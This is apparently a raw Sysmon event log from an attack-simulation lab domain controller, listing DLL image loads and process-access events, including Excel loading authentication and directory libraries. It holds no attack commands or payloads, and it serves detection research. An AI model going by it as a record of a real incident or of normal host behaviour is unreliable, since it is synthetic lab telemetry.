14:58:03.856{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000048814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.856{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 10341000x800000000000000048813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.836{7BD73061-65B0-613B-0A00-00000000F001}612968C:\Windows\system32\services.exe{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\services.exe+1713f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.836{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\system32\sppsvc.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.836{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000048810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.836{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000048809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.836{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 10341000x800000000000000048808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.823{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.823{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 10341000x800000000000000048806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.823{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.823{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.823{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\webservices.dll10.0.14393.2312 (rs1_release.180607-1919)Windows Web Services RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationWebServices.dllMD5=3EE43755685D59060FAC0E2F09D67686,SHA256=BF80D9B840C28BC4E8FE9A4E6DBCCCAEE37A108F83428ABA1DD780D5312369D8,IMPHASH=21CAA202FAEFBDF78B727F64E8C79245trueMicrosoft WindowsValid 734700x800000000000000048803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.823{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000048802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.823{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000048801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.823{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000048800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000048799Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000048798Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000048797Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000048796Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000048795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000048794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000048793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\xmllite.dll10.0.14393.3143 (rs1_release.190725-1725)Microsoft XmlLite LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationXmlLite.dllMD5=64E301CCFADF34810ADA8DE9DBC7720F,SHA256=6EAE1E0E610793C7DF2B27795553F377D2C4126CF74D8EE4A84DE3C3150871F8,IMPHASH=B53F82B33CA6ABD6251152A46E5FF78CtrueMicrosoft WindowsValid 734700x800000000000000048792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000048791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\cryptxml.dll10.0.14393.2430 (rs1_release_inmarket_aim.180806-1810)XML DigSig APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptxml.dllMD5=2D8B5120841F9D57D81B417B8033051F,SHA256=10896E3FBB656A1FD76CB636510A8501B12068C653BC27FAA4DD8DC89ED7AE4A,IMPHASH=7D4E5449FCDD1890758D880233B4B613trueMicrosoft WindowsValid 734700x800000000000000048790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000048789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cryptdll.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptography ManagerMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptdll.dllMD5=4B31902F1E0B79CE7E46D9877647C1CC,SHA256=8925892119315293C49D09A26191149660934BF1E5D3D023722E90339ADA38AA,IMPHASH=CAB6D6025DF08B0D0BC6259D625E2778trueMicrosoft WindowsValid 734700x800000000000000048788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\NtlmShared.dll10.0.14393.3269 (rs1_release.190929-1234)NTLM Shared FunctionalityMicrosoft® Windows® Operating SystemMicrosoft CorporationNtlmShared.dllMD5=99F4D90B3ED53855C06F856006E770D1,SHA256=A95E5823B68182C4E32CB783AD23BC4FF60690001C70E6B5E920C12740C4C37C,IMPHASH=36FD662FB3EF657597E485F3FC734A67trueMicrosoft WindowsValid 734700x800000000000000048787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.805{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000048786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\msv1_0.dll10.0.14393.3866 (rs1_release.200805-1327)Microsoft Authentication Package v1.0Microsoft® Windows® Operating SystemMicrosoft CorporationMSV1_0.DLLMD5=2A725546D9B1F9DB4974A2EA4225D0A8,SHA256=46AD1AC8C7DB7D21E8F41EFC734B855CEE566CB58F8FB825775490DC5DE89C94,IMPHASH=A243271C363636A670D5D150D4D338C9trueMicrosoft WindowsValid 734700x800000000000000048785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000048784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000048783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000048782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000048781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000048780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\dsparse.dll10.0.14393.0 (rs1_release.160715-1616)Active Directory Domain Services APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdsparse.dllMD5=E9B5EFC173FDD55C00B2F28B8BAC144B,SHA256=0CA602484CD0E2C67091FCD60091608BF746B1D05B353DB9805D1CAE0ED09D70,IMPHASH=6FD21A38F62935B130604FF29AA3AFC5trueMicrosoft WindowsValid 734700x800000000000000048779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000048778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000048777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000048776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\System32\sppsvc.exeC:\Windows\System32\sppsvc.exe10.0.14393.4530 (rs1_release.210705-0736)Microsoft Software Protection Platform ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationsppsvc.exeMD5=280B8B6A6CD8A833284EA11425EE5396,SHA256=FD9A147C6649AC20CBC7C74DC431866468D2E4183ED7B876F7E336382DCC6A40,IMPHASH=D845DD6420DF743539502300E9B7C35BtrueMicrosoft WindowsValid 10341000x800000000000000048775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\system32\sppsvc.exe0x103800C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-65B0-613B-0A00-00000000F001}6124244C:\Windows\system32\services.exe{7BD73061-727B-613B-4C0B-00000000F001}5184C:\Windows\system32\sppsvc.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+307d|C:\Windows\system32\services.exe+6334|C:\Windows\system32\services.exe+dc24|C:\Windows\system32\services.exe+d248|C:\Windows\system32\services.exe+4d0c|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\logoncli.dll10.0.14393.3808 (rs1_release.200707-2105)Net Logon Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationLOGONCLI.DLLMD5=B5C16F0A457DB3C7695AAC9EE7E3EE1E,SHA256=88764349C57E619C6D1253BB2F4AFB27DBD141E9EB9C12D445C20F7384A4F437,IMPHASH=FD7877EA3FC7D2EDCA1ADC932A5034BDtrueMicrosoft WindowsValid 734700x800000000000000048772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.790{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 10341000x800000000000000048771Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 